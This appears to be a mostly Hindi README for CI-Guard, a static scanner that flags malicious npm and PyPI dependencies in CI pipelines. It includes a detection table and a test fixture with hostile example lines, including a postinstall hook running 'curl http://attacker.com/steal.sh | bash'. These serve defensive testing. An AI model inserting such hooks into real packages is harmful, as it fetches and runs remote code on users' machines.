यह एक स्थैतिक विश्लेषण उपकरण है जो पैटर्न मिलान और AST विश्लेषण का उपयोग करके CI/CD पाइपलाइनों में दुर्भावनापूर्ण निर्भरताओं का पता लगाता है, जिसमें ट्रैफिक-लाइट जोखिम स्कोरिंग प्रणाली और वैकल्पिक Docker सैंडबॉक्स सत्यापन शामिल है।
CI/CD पाइपलाइनों में दुर्भावनापूर्ण निर्भरताओं (malicious dependencies) का पता लगाने के लिए एक स्थैतिक विश्लेषण उपकरण, इससे पहले कि वे आपके कोडबेस में मर्ज किए जाएं।
लेखक: Otsmane Ahmed
स्थिति: Research Prototype v1.0
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# 2. Scan a package directory
python3 main_guard.py /path/to/package
उपकरण एक निर्णय देगा: SAFE, , या ।
SUSPICIOUSBLOCKEDयदि आपने npm या PyPI से एक पैकेज डाउनलोड किया है और यह सत्यापित करना चाहते हैं कि यह सुरक्षित है:
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package
# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0
अपने प्रोजेक्ट में पहले से स्थापित पैकेजों की जाँच करें:
# Scan all npm packages
python3 main_guard.py ./node_modules
# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
नोट: node_modules जैसी बड़ी निर्देशिकाओं को स्कैन करने में अधिक समय लगेगा। तेज़ परिणामों के लिए, व्यक्तिगत पैकेजों को स्कैन करें।
GitHub Actions कार्यप्रवाह का उदाहरण:
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install CI-Guard
run: |
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
pip install -r requirements.txt
- name: Scan Dependencies
run: |
cd ci-supplychain-guard
python3 main_guard.py ../your-project-directory
यदि दुर्भावनापूर्ण कोड का पता चलता है तो पाइपलाइन विफल हो जाएगी (एक्ज़िट कोड 1)।
$ python3 main_guard.py ./clean-package
Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE
कोई दुर्भावनापूर्ण पैटर्न नहीं मिला।
$ python3 main_guard.py ./evil-package
Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
खतरनाक पैटर्न पाए गए (जैसे, शेल इंजेक्शन, क्रेडेंशियल चोरी)। इस पैकेज को स्थापित न करें।
जिन पैकेजों का स्कोर 10 या उससे अधिक है, वे स्वचालित रूप से अवरुद्ध हो जाते हैं।
$ python3 main_guard.py ./suspicious-package
Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...
कुछ चिंताजनक पैटर्न मिले। यदि Docker चल रहा है, तो पैकेज का सत्यापन एक पृथक सैंडबॉक्स में किया जाएगा। मैन्युअल समीक्षा अनुशंसित है।
| हमले का प्रकार | उदाहरण | स्थिति |
|---|---|---|
| शेल इंजेक्शन | curl evil.com | bash | पता चला |
| क्रेडेंशियल चोरी | process.env को पढ़ना और बाहरी सर्वर पर भेजना | पता चला |
| कोड अस्पष्टीकरण | eval(atob('base64...')) | पता चला |
| दुर्भावनापूर्ण इंस्टॉल स्क्रिप्ट | NPM postinstall हुक | पता चला |
| बाइनरी फ़ाइलें | पैकेजों में .exe, .dll | पता चला |
| टाइपोस्क्वाटिंग | लोकप्रिय पैकेजों से मिलते-जुलते नाम | मैन्युअल जाँच आवश्यक |
आप एक नमूना दुर्भावनापूर्ण पैकेज बनाकर CI-Guard का परीक्षण कर सकते हैं:
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious
# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
"name": "evil-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://attacker.com/steal.sh | bash"
}
}
EOF
# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious
अपेक्षित आउटपुट:
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
| इकोसिस्टम | परीक्षण किए गए पैकेज | पता लगाने की दर |
|---|---|---|
| NPM | 15,059 | 89.6% |
| PyPI | 2,257 | 82.2% |
औसत स्कैन समय: 1-3 सेकंड प्रति पैकेज (केवल स्थैतिक विश्लेषण)
क्या मैं पहले से स्थापित पैकेजों को स्कैन कर सकता हूँ?
हाँ। CI-Guard को अपने node_modules निर्देशिका या Python site-packages पर इंगित करें:
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
यदि कोई वैध पैकेज फ्लैग हो जाए तो क्या होगा?
CI-Guard सावधानी के पक्ष में है। यदि आप फ्लैग किए गए पैकेज पर भरोसा करते हैं:
analyzer/static_scanner.py में पता लगाने के नियमों की जाँच करेंक्या यह Windows और macOS पर काम करता है?
हाँ। Python और Docker क्रॉस-प्लेटफ़ॉर्म हैं।
क्या मुझे Docker स्थापित करने की आवश्यकता है?
Docker केवल उन पैकेजों के लिए आवश्यक है जो 4-9 (संदिग्ध) स्कोर करते हैं। अधिकांश पैकेज या तो स्पष्ट रूप से सुरक्षित (0-3) या स्पष्ट रूप से दुर्भावनापूर्ण (10+) होते हैं।
CI-Guard एक त्रि-स्तरीय "ट्रैफिक लाइट" सिस्टम का उपयोग करता है:
पता लगाने के तरीके:
पुल रिक्वेस्ट का स्वागत है। एक नया पता लगाने का नियम जोड़ने के लिए:
analyzer/static_scanner.py संपादित करें और RULES सूची में जोड़ें:
{
"id": "SA-XXX",
"name": "Rule Name",
"pattern": r"regex_pattern",
"weight": 8 # Score contribution (1-10)
}
MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें।
Otsmane Ahmed - GitHub